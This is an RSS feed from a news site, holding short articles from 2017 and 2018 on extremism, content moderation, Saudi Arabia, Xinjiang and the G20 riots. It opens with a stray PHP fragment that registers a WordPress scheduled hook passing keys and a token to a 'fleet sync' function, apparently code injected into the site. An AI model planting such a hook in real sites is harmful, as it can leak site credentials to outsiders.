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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); extremism – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 03 Oct 2018 19:41:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png extremism – Brief News https://briefnews.eu 32 32 ‘Dance of hate’: Release of Islamic State-supporting preacher will fuel extremism, experts warn https://briefnews.eu/dance-of-hate-release-of-islamic-state-supporting-preacher-will-fuel-extremism-experts-warn/ https://briefnews.eu/dance-of-hate-release-of-islamic-state-supporting-preacher-will-fuel-extremism-experts-warn/#respond Wed, 03 Oct 2018 19:41:00 +0000 http://briefnews.eu/dance-of-hate-release-of-islamic-state-supporting-preacher-will-fuel-extremism-experts-warn/ The impending release of convicted Islamic State-supporting hate preacher Anjem Choudary could heighten the threat from both Islamists and the far-right, counter-extremism experts have warned.

The Faith Matters counter-extremism network, quoted in the Independent, warned Choudary is a part of a “dance of hate where the only ones to profit have been the extremists.”

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Islamist Anjem Choudary arrives at court for his trial in London. June 27, 2016. © Velar Grant

Not only will British Islamist activity increase following his release but far-right extremism too, the group forecasts. Faith Matters noted that already far-right activists have launched petitions and are planning protests focused on Choudary’s release.

“It may also embolden enablers of Islamist extremism who continue to promote a ‘them and us’ mentality that seeks to mentally marginalize British Muslims from mainstream society,” the group said.

Choudary, one of Britain’s most high profile supporters of Islamic extremism, came to prominence in the early 2000s during the UK’s so-called ‘war on terror.’ The preacher and his group of Muslim extremists, Al-Muhajiroun, toured the country carrying out talks and protests targeting the government and promoting a ‘clash of civilisations’ narative between Islam and the West.

Al-Muhajiroun, now listed as a terrorist organisation by the US State Department, claimed the murderers of Lee Rigby and the London Bridge attack ringleader Khuram Butt were among its followers.

Fiyaz Mughal, the director of Faith Matters, told the Independent that Choudary’s extremist point of view must be “disrupted, challenged and pushed out of the public space at every point.”

He added that “Choudhary was regarded by many as a clown in the 1990s and with no real traction, yet we can see now just how mistaken this belief was.”

“He systematically preyed on vulnerable young men while inculcating them with messages of alienation and disaffection for our country. When groups like Isis and al-Qaeda came along, Choudhary’s warped beliefs bore fruit as the young men he helped brainwash headed out to areas such as the Middle East, while other associates such as Westminster attacker Khalid Masood sought to wreak terror on our streets.”

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The preacher was mostly careful not to break Britain’s hate speech laws, but in 2015 he was convicted with inviting support of a proscribed organisation, namely Islamic State (IS, formerly ISIS/ISIL), and sentenced to five years and six months in prison. Despite only serving a fraction of that time, Choudary is expected to be released on licence (parole) in October 2018.

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]]> https://briefnews.eu/dance-of-hate-release-of-islamic-state-supporting-preacher-will-fuel-extremism-experts-warn/feed/ 0 EU will fine social media sites for lingering extremism https://briefnews.eu/eu-will-fine-social-media-sites-for-lingering-extremism/ https://briefnews.eu/eu-will-fine-social-media-sites-for-lingering-extremism/#respond Wed, 12 Sep 2018 12:29:20 +0000 http://briefnews.eu/eu-will-fine-social-media-sites-for-lingering-extremism/

The EU has been threatening to take action against online platforms that fail to remove extremist content within an hour for the most part of the year — and now we know what form its punishment will take. The likes of Google, Facebook, Twitter, and YouTube could be slapped with fines as high as 4 percent of annual turnover, revealed European Commission President Jean-Claude Juncker.

“One hour is the decisive time window the greatest damage takes place,” Juncker said in his annual State of the Union address to the European Parliament — his words echoing the Commission’s previous warning to tech firms to step up their actions in March.

The move follows Germany’s hefty hate speech penalty (known as the Network Enforcement Act) that requires platforms to cough up around $ 58 million if they don’t remove posts containing hate speech within 24 hours, or seven days for “complex cases”. But that timeframe seems like a luxury compared to the new rules the EC is urging.

As part of the proposal, which still needs the thumbs up from EU countries and the European Parliament, platforms will have one hour to remove content flagged as advocating extremist offences, promoting extremist groups, or instructions on how to commit such acts.

In addition, the EC is pushing for more human oversight when it comes to content moderation and new tools to weed out abuse. These services will also be required to provide annual transparency reports on their efforts. Platforms will, however, have the right to challenge removal orders.

Of course, the biggest companies (Facebook, Microsoft, Twitter, YouTube, Instagram, and Snap) are already working together on a shared industry hash database, where they can create “digital fingerprints” for terrorist content and share them with other participants. YouTube has also previously said that it removes 83 percent of “terrorist content” before its flagged. Whether smaller firms, which lack the manpower and revenue of their corporate counterparts, will fare as well remains to be seen.

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]]> https://briefnews.eu/eu-will-fine-social-media-sites-for-lingering-extremism/feed/ 0 US human rights allegations against China incite Muslim extremism – govt paper https://briefnews.eu/us-human-rights-allegations-against-china-incite-muslim-extremism-govt-paper/ https://briefnews.eu/us-human-rights-allegations-against-china-incite-muslim-extremism-govt-paper/#respond Sun, 02 Sep 2018 03:37:59 +0000 http://briefnews.eu/us-human-rights-allegations-against-china-incite-muslim-extremism-govt-paper/ The recent request by some US lawmakers to sanction Chinese officials over their alleged abuse of the Muslim minority in Xinjiang can be seen by extremists as a call to action, China’s state-run tabloid said.

The Global Times, an influential Chinese tabloid, published by the Communist Party’s Peoples’ Daily newspaper, warned Washington against applying its “west-centered” value system to the situation in Xinjiang, an autonomous territory in northwestern China and a home to Uyghurs, China’s largest Muslim minority group.

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The region has grappled with ethnic violence over the years, with a series of riots between Uyghurs and Han Chinese that broke out in July 2009 and left nearly 200 people dead and hundreds injured. In recent years, the violence has subsided, with critics of the Chinese government accusing it of a massive crackdown on dissent. According to a recent UN panel report, that included placing some 1 million Uyghurs in “counterextremism centers” and even more in “reeducation camps.”

In its editorial on Saturday, the Global Times attributed unrest in the turbulent region to “external factors,” accusing the US of adding fuel to the fire of ethnic tension. On Wednesday, a group of US lawmakers, led by Senator Marco Rubio and Representative Chris Smith, co-chair of the Congressional Executive Commission on China, penned a letter to US Secretary of State Mike Pompeo and Treasury Secretary Steven Mnuchin, urging them to slap senior Chinese officials with sanctions under the Magnitsky Act. Rubio and Smith believe the officials to be responsible for “arbitrary detention, torture, egregious restrictions on religious practice and culture” and other alleged mistreatment of Uyghurs.

The Magnitsky Act, initially passed by the US government in 2012 to punish those it considered to be behind Russian accountant Sergey Magnitsky’s death in a Russian jail, was expanded in 2016 ostensibly to fight corruption and human rights violations on a global scale.

“Western accusations of Xinjiang governance seriously misled the extremists, making them believe they were launching religious Jihad and won sympathy and support from Western and international society,” the tabloid stated, calling out the West for disregarding the situation on the ground with its “empty statements about human rights.”

“Such empty talk inspires extremists, which meets the purposes of some Western politicians trying to undermine the governance achievements in Xinjiang and push the region into turmoil.”

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Unlike the one promoted by the West, the Chinese idea of human rights is “rooted in the reality of Xinjiang and supported by most developing countries,” the tabloid argues, noting that the overriding goal of the region’s administration is to keep it from descending into chaos again, which is in the interests of most of its residents as well.

“Whether Xinjiang governance abuses human rights must be judged by whether its results safeguard the interests of the majority in the region,” the article stated.

“No external force is allowed to make decisions for them. They have the support of the Chinese people,” the publication concludes.

Former US diplomat Jim Jatras believes that while human rights issues are a real thing for China, Washington seeks to exploit them for its own ends.

“There are violations of certain standards of human rights that the Chinese may engage in,” he said. “That is double the case when the country feels that it has an insurgency within its borders. I’m not saying that these violations may not be taking place, what I’m saying is that these are probably being exaggerated very selectively for protocol purposes by people in Washington.”

One possible explanation is that possible sanctions are another avenue of economic attack against China, said Jatras, and in particular its ambitious Belt and Road initiative which aims to spread trade connections throught the entire Eurasian continent.

“I don’t know how far people in Washington are willing to take it, but no doubt it’s intended precisely for the purpose of disrupting the Belt and Road initiative,” Jatras said.

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]]> https://briefnews.eu/us-human-rights-allegations-against-china-incite-muslim-extremism-govt-paper/feed/ 0 Saudi Arabia Struggles to Check Extremism in Schools https://briefnews.eu/saudi-arabia-struggles-to-check-extremism-in-schools/ https://briefnews.eu/saudi-arabia-struggles-to-check-extremism-in-schools/#respond Thu, 25 Jan 2018 05:06:49 +0000 http://briefnews.eu/saudi-arabia-struggles-to-check-extremism-in-schools/

As the Saudi government sought to step up its efforts to counter extremism, it dreamt up a competition for schoolchildren to take photos and videos that showed “the kingdom’s work in serving Islam” or security forces’ fight against Islamist militants.

But the initiative has been suspended and its future uncertain following allegations that the project itself was hijacked by Islamists. The first head of the program was dismissed in October after media reports that his staff expressed sympathy with the Muslim Brotherhood, a movement that Riyadh designates as a terrorist group. His replacement lasted only 72 hours before she was dismissed for the same reason.

The government’s experience with the program, known as Feten, which means “astute” in Arabic, underlines the challenges it faces to reform the conservative education system. Its success will be pivotal to Riyadh’s ability to fulfill Crown Prince Mohammed bin Salman’s pledge to turn a nation often accused of exporting extremism into a more tolerant society.

The education system has long been criticized for using a curriculum that promotes hatred of non-Muslims and creates a fertile ground for extremism. Scrutiny of the system and the influence of the powerful Wahhabi religious establishment, which preaches a strict interpretation of Sunni Islam, intensified after it was discovered that 15 of the 19 hijackers who carried out the Sept. 11 attacks in the U.S. were Saudis.

The government’s own intolerant and discriminatory policies are a domestic factory for extremism.

Sarah Leah Whitson, an executive director at Human Rights Watch

Government officials insist a big effort has been made to modernize education and revise textbooks to rid them of intolerance. But recent reports by think tanks and human rights groups suggest that religious teaching material continues to include problematic elements.

A fifth-grade textbook, for example, contains a passage calling Jews, Christians and pagans “original unbelievers,” according to a review conducted by Human Rights Watch in September. Another textbook says “those who make the graves of prophets and the righteous into mosques are evil-natured,” an apparent reference to Shia and Sufi Muslims.

“The government’s own intolerant and discriminatory policies are a domestic factory for extremism,” says Sarah Leah Whitson, an executive director at HRW. “Saudi [Arabia] not only needs to reform its education system to end the open religious hatred spewed by textbooks and teachers alike, but needs to end the rampant discrimination against its native Shia and foreign Christian populations.”

Saudi officials did not respond to requests for comment.

Ahmed al-Eisa, the education minister, announced last year that the government planned to stop printing textbooks by 2020 as part of its efforts to overhaul the system. Instead, schools will be equipped with interactive tablets and digital curricula that can be updated in real time. That should mean they are open to scrutiny and that any material deemed offensive can be easily edited out.

But experts say a crucial issue is ensuring that teachers follow the curriculum and do not deliver a more fundamentalist message of their own. The ministry said this year it had taken disciplinary measures against some teachers who expressed extremist views in classrooms.

Fawziah al-Bakr, a professor of education at King Saud University, says progress has been made in reforming the system, particularly in large cities. But concerns linger over whether small towns and rural areas are receiving the same level of attention in a country where 70 percent of the population is under age 30.

“Society was changing in many aspects, especially in major cities. The problem was with government policies because they were backward. The government has now started moving forward in many ways,” Bakr says.

Still, she worries about extracurricular and after-school activities that have traditionally been organized and carried out by teacher-led “religious guidance” groups.

“Now there are far more restrictions [on activities taking place in schools]. Nobody enters the schools now without permission. But are they doing enough in the south?” she says, referring to the region where many of the Saudi hijackers involved in the Sept. 11 attacks originated.

The Feten program will now be placed under the responsibility of a “Centre of Thought Security” that was announced by the education ministry last month.

Saad al-Moshawah, the program’s new supervisor, told the state news agency that the education ministry is reviewing its plans before relaunching the initiative in the spring semester.

Bakr says the fact that the program was quickly suspended after its head was linked to the brotherhood was a sign of progress. But others are more skeptical about the effectiveness of such schemes.

“The issue of extremism cannot be solved by Feten or any other programs,” says a school counselor in the Eastern Province. “These programs are almost always just flashy shows that the ministry promotes as achievements, but in reality their impact is weak.”

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The UK still isn’t convinced that internet giants are doing enough to curb online extremism, and it’s now considering hitting those companies where it really hurts: their bank accounts. In an interview with the Sunday Times, security minister Ben Wallace said the country should use taxes to either incentivize stronger anti-extremist efforts or compensate for “inaction.” While Wallace didn’t go into detail as to what he’d like, the Times suggested it would be a windfall-based tax that targeted companies’ large profits.

Wallace certainly doesn’t think very highly of internet companies — he called them “ruthless profiteers” who put “profit before public safety.” They’ll sell info to loan sharks and “soft-porn companies,” he claimed, but won’t give it to the UK’s elected government.

The companies in question object to the claims. Facebook’s Simon Milner said Wallace was “wrong” that the social network didn’t prioritize safety, pointing out “millions of pounds” of investment in people and tech to find and pull terrorist material. YouTube, meanwhile, said it had made “significant progress” thanks to a mix of machine learning, human reviewers and partnerships.

This is only talk at the moment, so it’s far from certain that the tech industry will be forced to pay up. And we’d add that Wallace’s statements appear to be based more on preconceptions of what the companies are like (he describes them as sitting “on beanbags in T-shirts”) than specific complaints. It’s easy to claim that Facebook or Google isn’t doing enough when you don’t have to provide details or consider technical, privacy and free speech issues. This doesn’t mean that they are doing everything they can, but the government may have to back up any punitive tax measures with concrete evidence of inaction.

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]]> https://briefnews.eu/uk-may-tax-internet-giants-to-get-more-help-fighting-online-extremism/feed/ 0 U.S. tech firms must do more to combat extremism, says the World Economic Forum https://briefnews.eu/u-s-tech-firms-must-do-more-to-combat-extremism-says-the-world-economic-forum/ https://briefnews.eu/u-s-tech-firms-must-do-more-to-combat-extremism-says-the-world-economic-forum/#respond Mon, 30 Oct 2017 10:15:45 +0000 http://briefnews.eu/u-s-tech-firms-must-do-more-to-combat-extremism-says-the-world-economic-forum/

(Reuters) — U.S. tech firms such as Facebook and Twitter should be more aggressive in tackling extremism and political misinformation if they want to avoid government action, a report from the World Economic Forum said on Monday.

The study from the Swiss nonprofit organization adds to a chorus of calls for Silicon Valley to stem the spread of violent material from Islamic State militants and the use of their services by alleged Russian propagandists.

Facebook, Twitter and Alphabet’s Google will go under the microscope of U.S. lawmakers on Tuesday and Wednesday when their general counsels will testify before three U.S. congressional committees on alleged Russian interference in the 2016 U.S. presidential election.

The report from the World Economic Forum’s human rights council warns that tech companies risk government regulation that would limit freedom of speech unless they “assume a more active self-governance role.”

It recommends that the companies conduct more thorough internal reviews of how their services can be misused and that they put in place more human oversight of content.

The German parliament in June approved a plan to fine social media networks up to 50 million euros if they fail to remove hateful postings promptly, a law that Monday’s study said could potentially lead to the takedown of massive amounts of content.

(Reporting by David Ingram; Editing by Sandra Maler)

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]]> https://briefnews.eu/u-s-tech-firms-must-do-more-to-combat-extremism-says-the-world-economic-forum/feed/ 0 George and Amal Clooney donated $1 million to fight right-wing extremism after Charlottesville violence https://briefnews.eu/george-and-amal-clooney-donated-1-million-to-fight-right-wing-extremism-after-charlottesville-violence/ https://briefnews.eu/george-and-amal-clooney-donated-1-million-to-fight-right-wing-extremism-after-charlottesville-violence/#respond Wed, 23 Aug 2017 06:55:58 +0000 http://briefnews.eu/george-and-amal-clooney-donated-1-million-to-fight-right-wing-extremism-after-charlottesville-violence/ George & Amal ClooneyReuters: Eric Gaillard

George and Amal Clooney have donated $ 1 million in a partnership with the Southern Poverty Law Center (SPLC) to help fight hate groups in the US after the violence in Charlottesville, Virginia, according to The Guardian.

The Clooney Foundation for Justice — which has helped fund schools for Syrian refugees in Lebanon in the past — was co-founded by the actor and his wife, a human rights lawyer, in 2016 “to advance justice in courtrooms, classrooms and communities around the world.” The $ 1 million grant will help the SPLC monitor and combat extremist groups and white supremacist organizations in the US — the nonprofit organization currently tracks over 1,600 extremist groups.

“We are proud to support the Southern Poverty Law Center in its efforts to prevent violent extremism in the United States. What happened in Charlottesville, and what is happening in communities across our country, demands our collective engagement to stand up to hate,” George and Amal Clooney said in a statement.

In a controversial rebranding move, the Trump administration decided to steer current government counter-extremism efforts that target all forms of violent extremism — including violence committed by white supremacy groups — toward a sole focus on countering Islamic extremism. Trump’s decision to cut funding that targets right-wing extremism has left a void that organizations like the Clooney Foundation are working to fill.

Trump has faced plenty of backlash following his lukewarm response to the violence that transpired after white nationalists staged a rally in Charlottesville, Virginia. SPLC president Richard Cohen praised the Clooney Foundation’s support and condemned Trump’s campaign for enabling the radical right.

“Like George and Amal Clooney, we were shocked by the size, ugliness, and ferocity of the white supremacist gathering in Charlottesville,” said Cohen. “It was a reflection of just how much Trump’s incendiary campaign and presidency has energized the radical right. We are deeply grateful to the Clooney Foundation for standing with us at this critical moment in our country’s fight against hate.”

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]]> https://briefnews.eu/george-and-amal-clooney-donated-1-million-to-fight-right-wing-extremism-after-charlottesville-violence/feed/ 0 Tech companies have learned they have a responsibility to weed out extremism https://briefnews.eu/tech-companies-have-learned-they-have-a-responsibility-to-weed-out-extremism/ https://briefnews.eu/tech-companies-have-learned-they-have-a-responsibility-to-weed-out-extremism/#respond Sat, 19 Aug 2017 12:24:40 +0000 http://briefnews.eu/tech-companies-have-learned-they-have-a-responsibility-to-weed-out-extremism/ Members of white nationalists clash a group of counter-protesters in Charlottesville, Virginia, U.S., August 12, 2017.REUTERS/Joshua Roberts

In the aftermath of last year’s presidential election, tech execs were unanimous in denying that their various platforms had anything to do with the spread of falsehoods, fake news, and outright lies that allegedly contributed to President Trump’s unexpected election.

“Personally, I think the idea that fake news on Facebook, it’s a very small amount of the content, influenced the election in any way is a pretty crazy idea,” Facebook CEO Mark Zuckerberg said less than a week after the election.

How wrong he was.

Even after it was apparent that the spread of fake news did play a role in the outcome of the election, the tech world wasn’t sure it could or should stop it. One tech executive told me last December that so much content is uploaded to various tech platforms every day that properly policing all of it would be impossible. Plus, there are all those free speech issues the tech companies would have to navigate. There was just no way to fix the problem, the tech industry said.

Keep in mind these statements were coming out of Silicon Valley, where, supposedly, the greatest technological and entrepreneurial minds of our time love to brag about their intelligence and how great they are at solving problems. Yet they failed to see the responsibility that comes with managing the various services that have become the dominant form of news consumption for many people.

Now, nine months later, you’re hearing a strikingly different tone from the tech world. Apparently, they draw the line at Nazis.

Following the horrific events in Charlottesville last weekend, a slew of tech companies both large and small made moves to eliminate the spread of hate, anti-Semitism, white supremacy, Nazism, and all sorts of other nasty things from their various platforms.

Let’s recap:

  • Apple and PayPal stopped supporting payments on sites that sell white supremacist merchandise.
  • GoDaddy and Google canceled the domain registration for the extremist site Daily Stormer. The moves followed Daily Stormer’s decision to publish a horrible story about Heather Heyer, the woman killed during the Charlottesville protests.
  • Cloudflare dropped Daily Stormer as a customer, ending the protection it provided to the site against denial-of-service (DDoS) attacks.
  • Facebook removed links to hateful articles about Heather Heyer in the News Feed.
  • The chat app Discord shut down some of the servers that white supremacists used to organize the protests in Charlottesville.
  • Airbnb reiterated it wouldn’t allow white supremacists to use its app to organize lodging for protests.
  • Spotify removed “hate bands” from its music library.

On top of all that, there was a chorus of tech leaders, including Apple CEO Tim Cook and Microsoft CEO Satya Nadella, who denounced the events in Charlottesville and called out Trump for his misleading “many sides” response.

What a difference a few months of a heated culture war and the killing of an innocent woman can make in the tech world’s perspective.

I think tech companies have finally realized a certain responsibility comes with owning the platforms and services that deliver news, information, and entertainment to billions every day. Just like editors of a newspaper have to carefully vet content for truth, platforms also have to discover ways to edit the information that’s posted on their sites — but on a massive scale.

It’s a welcome change of heart. Better late than never.

But it’s not ideal, either. Some have rightfully raised concerns that the kind of policing we’ve seen over the last week could lead to a slippery slope where content and users are booted off certain platforms on a whim, without some kind of process. The Electronic Frontier Foundation (EFF) published a great recap of those arguments this week, saying the moves tech companies used to silence white supremacists could “soon be used to silence others.”

While tech companies have a right to control their platforms, doing so could lead us to a place where their responses are influenced by headlines or public outcry rather than being the result of a deliberate process. Even Cloudflare CEO Matthew Prince admitted his decision to stop working with Daily Stormer was emotionally charged; he dropped the site as a customer, because he was in a “bad mood.”

That’s fine when you’re leaving Nazis in the dust, but it could set a harmful precedent if it encourages other tech CEOs to drop customers whose political views they disagree with. Even if their hearts are in the right place, jumping on the bandwagon isn’t always the right answer. (OkCupid learned that Thursday when it kicked a white supremacist off its dating service.)

Tech companies are going to have to strike a delicate balance, and I don’t think they’ll figure it out right away. Finding that balance is going to take months of experiments, screwups, and horror stories before the tech companies put the right plans in place. EFF’s recommendation that tech firms “have a process, don’t act on headlines” feels like a good start.

In the meantime, it’s going to be messy. For the first time in human history, the entire world is connected in a way that lets people bypass the traditional — and typically carefully curated — sources of news and information. On top of that, there are now apps that make it easy for bad actors to organize.

And tech companies will likely be facing a constant game of cat-and-mouse. Boot the fake news purveyors and supremacists from one service, and they’ll find another or even build their own.

But the good news is that bad actors like those are finally getting kicked off the services that matter.

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]]> https://briefnews.eu/tech-companies-have-learned-they-have-a-responsibility-to-weed-out-extremism/feed/ 0 Saudi Arabia issues summons to Twitter users for ‘harming public order’ & ‘extremism’ https://briefnews.eu/saudi-arabia-issues-summons-to-twitter-users-for-harming-public-order-extremism/ https://briefnews.eu/saudi-arabia-issues-summons-to-twitter-users-for-harming-public-order-extremism/#respond Mon, 14 Aug 2017 11:57:44 +0000 http://briefnews.eu/saudi-arabia-issues-summons-to-twitter-users-for-harming-public-order-extremism/ The Saudi Public Prosecutor’s Office has ordered to summons a group of Twitter users to charge them for threatening public safety through “extremism leading to the misguided campaign of thought.”

On Sunday, some Twitter users were summonsed to face criminal charges for “harming public order,” Saudi Press Agency (SPA) reported. The number and identities of these people as well as any reference to a particular group have not been specified. 

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The prosecutor’s order says that public safety was violated “by influencing the integrity and moderation of the intellectual curriculum of the society with harmful participations that took the seriousness of extremism leading to the misguided campaign of thought,” as cited by Al Arabiya. 

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Those summonsed are to be brought before the court to face “criminal indictment,” the statement adds.

Meanwhile, Saudi Public Prosecutor, Sheikh Saud bin Abdullah Al-Muajab, issued a separate statement, saying that any “harmful contents,” including those shared on social media, will be prosecuted.

“Any ‘share’ that carries harmful contents to the society, whatever its material, pretexts and means of publication, will directly be prosecuted by the Public Prosecution according to its national scope and in accordance with the legitimate and legal requirements, including media publications, social media, lectures, speeches, books and others,” SPA reported on Sunday citing the official. 

The prosecutor added that a “word’s dangerous angles” can “mislead the public opinion” as well as incite hatred, sectarianism and intellectual and sectarian classifications.

At the same time, the public prosecutor’s office claims to respect “freedom of opinion,” according to SPA.

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In July, a young woman was detained in Saudi Arabia after a video featuring her wearing a miniskirt went viral on social media. She was eventually released without charge, although the clip triggered heated debate among social media users.

In April, Saudi Arabia reportedly sentenced a young man to death for apostasy after he renounced Islam and expressed his views through social media posts. Netizens were also split over that issue, with some expressing sorrow, while others praised the move.

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]]> https://briefnews.eu/saudi-arabia-issues-summons-to-twitter-users-for-harming-public-order-extremism/feed/ 0 ‘Violent radicals’: German politicians demand crackdown on left-wing extremism after G20 riots https://briefnews.eu/violent-radicals-german-politicians-demand-crackdown-on-left-wing-extremism-after-g20-riots/ https://briefnews.eu/violent-radicals-german-politicians-demand-crackdown-on-left-wing-extremism-after-g20-riots/#respond Mon, 10 Jul 2017 20:22:24 +0000 http://briefnews.eu/violent-radicals-german-politicians-demand-crackdown-on-left-wing-extremism-after-g20-riots/ A series of violent riots that engulfed the city of Hamburg during the G20 summit have provoked a wave of indignation among German politicians who demanded a radical change of approach toward violent protests, as well as to left-wing extremism.

“Germany’s image in the international community has been severely damaged due to the incidents in Hamburg,” German Foreign Minister Sigmar Gabriel told Bild’s weekend edition following three nights of violent clashes between the left-wing radicals and police in the German northern port city that hosted the G20 summit.

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“All alleged political motives for this orgy of violence are full of deceit and should just serve as a disguise for the real motive of the offenders that [came] from all parts of Europe: violence in itself,” Gabriel added.

The minister also demanded the creation of an EU-wide special investigative committee that would launch an inquiry against all those involved in the violent riots in Hamburg.

“A state governed by the rule of law must now demonstrate an ability to defend itself,” he said.

German Justice Minister Heiko Maas also spoke about the necessity of an EU-wide response to outbreaks of left-wing extremism. He particularly demanded the establishment of the European information databank on extremists as well as more intensive exchange of data on extremists committing violent crimes.

“We have faced a new form of violence, to which we should respond with enhanced cooperation in fighting extremists,” Maas told the German media on Monday in Berlin. He also vowed to employ a tougher approach toward violent extremists’ supporters.

“Those, who support rampant violence will also have to stand trial,” he said, as cited by the Der Tagesspiegel daily.

In the meantime, German Interior Minister Thomas de Maiziere compared the left-wing rioters in Hamburg to far-right extremists and even Islamists. “Those were not demonstrators. Those were violent and felonious radicals,” the minister said during a press conference on Monday, adding that those who staged violent riots in Hamburg were “despicable, violent extremists just like neo-Nazis and Islamist terrorists.”

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He also partly echoed Gabriel’s words by saying that they have no right to use any political motives to justify their actions and expressed his hope that the German courts would pass “tough sentences” upon them.

He went on to say that summits similar to the G20 would continue to be hosted in major German cities, despite any threats of violence from various extremists. “Any other approach would be a capitulation of the law-bound state,” the minister added.

Left-wing extremism ‘downplayed’ in Germany for years

In the meantime, many politicians focused specifically on the flaws of the existing approach towards left-wing extremism and violence in Germany by saying that this problem has long been neglected by the authorities.

The head of the Free Democratic Party (FDP), Christian Lindner, demanded left-wing extremists’ activities be “much more closely monitored” by the German domestic security service, the BfV, which is usually tasked with dealing with terrorist activities or far-right extremists.

A member of the presidium of the German Chancellor Angela Merkel’s Christian Democratic Union (CDU) party, Jens Spahn, told Bild on Sunday that “the extent of left-wing extremism in Germany has been downplayed for years.”

If those were neo-Nazis who reduced Hamburg to “wreckage and ashes,” the public indignation would be rightfully big, he said, adding that “the left-wing fascists with their hatred and violence need just the same clear response.”

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Barricades burn as protesters clash with riot police during the protests at the G20 summit in Hamburg, Germany, July 7, 2017 © Pawel Kopczynski

The politician also went further, accusing the Social Democrats, Greens and Left parties of deliberately downplaying the left-wing violence and “closing their eyes” to it.

His words were echoed by CDU Secretary General Peter Tauber, who told Bild that “nobody would come to the idea of just tolerating far-right extremist centers” while, “in case of the left-wing extremist centers such as Rigaer Strasse in Berlin or the Rote Flora in Hamburg, people are often too reserved.”

“That must change,” Tauber added.

His words were echoed by Stephan Mayer, an MP from the CDU’s ally, the Bavarian Christian Social Union (CSU) party, who said that the city authorities in Berlin and Hamburg “should no longer tolerate squatting by left-wing extremists and lawless zones in Rigaer Strasse and the Rote Flora.”

Both places were squatted by left-wing groups after being abandoned years ago.
Similar ideas were expressed by the head of the Federal Chancellor’s Office, Peter Altmaier, who said that the closure of the left-wing extremists’ centers would be a “test” for Germany.

“We should not tolerate any lawless zones,” he said, adding that the left-wing extremists consistently spread the idea that “damage to property is not that bad.” He went on to say that tolerating such ideas is a “grave mistake.”

In his Twitter post, Altmaier also compared what he called “repulsive extreme terror” in Hamburg to terror from right-wing extremists and Islamists. He also thanked Hamburg police for its efforts aimed at containing the rioters.

Some 500 security officials injured in Hamburg riots – Interior Minister

Almost 500 security officials, including 180 federal police officers, have been injured in the incidents in Hamburg, de Maiziere said during the press conference on Monday. He added that “only two officers now remain in hospital,” although many more security officials still have not fully recovered.

In the meantime, the head of operations for the Hamburg police, Hartmut Dudde, put the number of injured officers from various police departments at 476 at a separate press conference. Dudde’s estimate was also confirmed by the head of the Hamburg police, Ralf Martin Meyer.

Angela Merkel visited Hamburg’s police officers following the series of violent riots during the G20 summit and thanked them for their work.

She also condemned the violence in her speech at the summit.

“I sharply condemn the rampant violence and unrestrained brutality the police was facing over and over again during the G20 summit,” she said at that time, adding that “there is not the slightest justification for looting, arson and brutal attacks.”

The riots continued for several nights in a row during the week of the G20 summit in Hamburg. Piles of debris, burned-out barricades, smashed shops and shattered glass transformed Hamburg into a scene resembling a battlefield by Saturday, June 8.
Some 186 demonstrators were arrested as a result of the riots, AFP reported, citing Dudde. The official number of the protesters injured in the clashes has not been provided.

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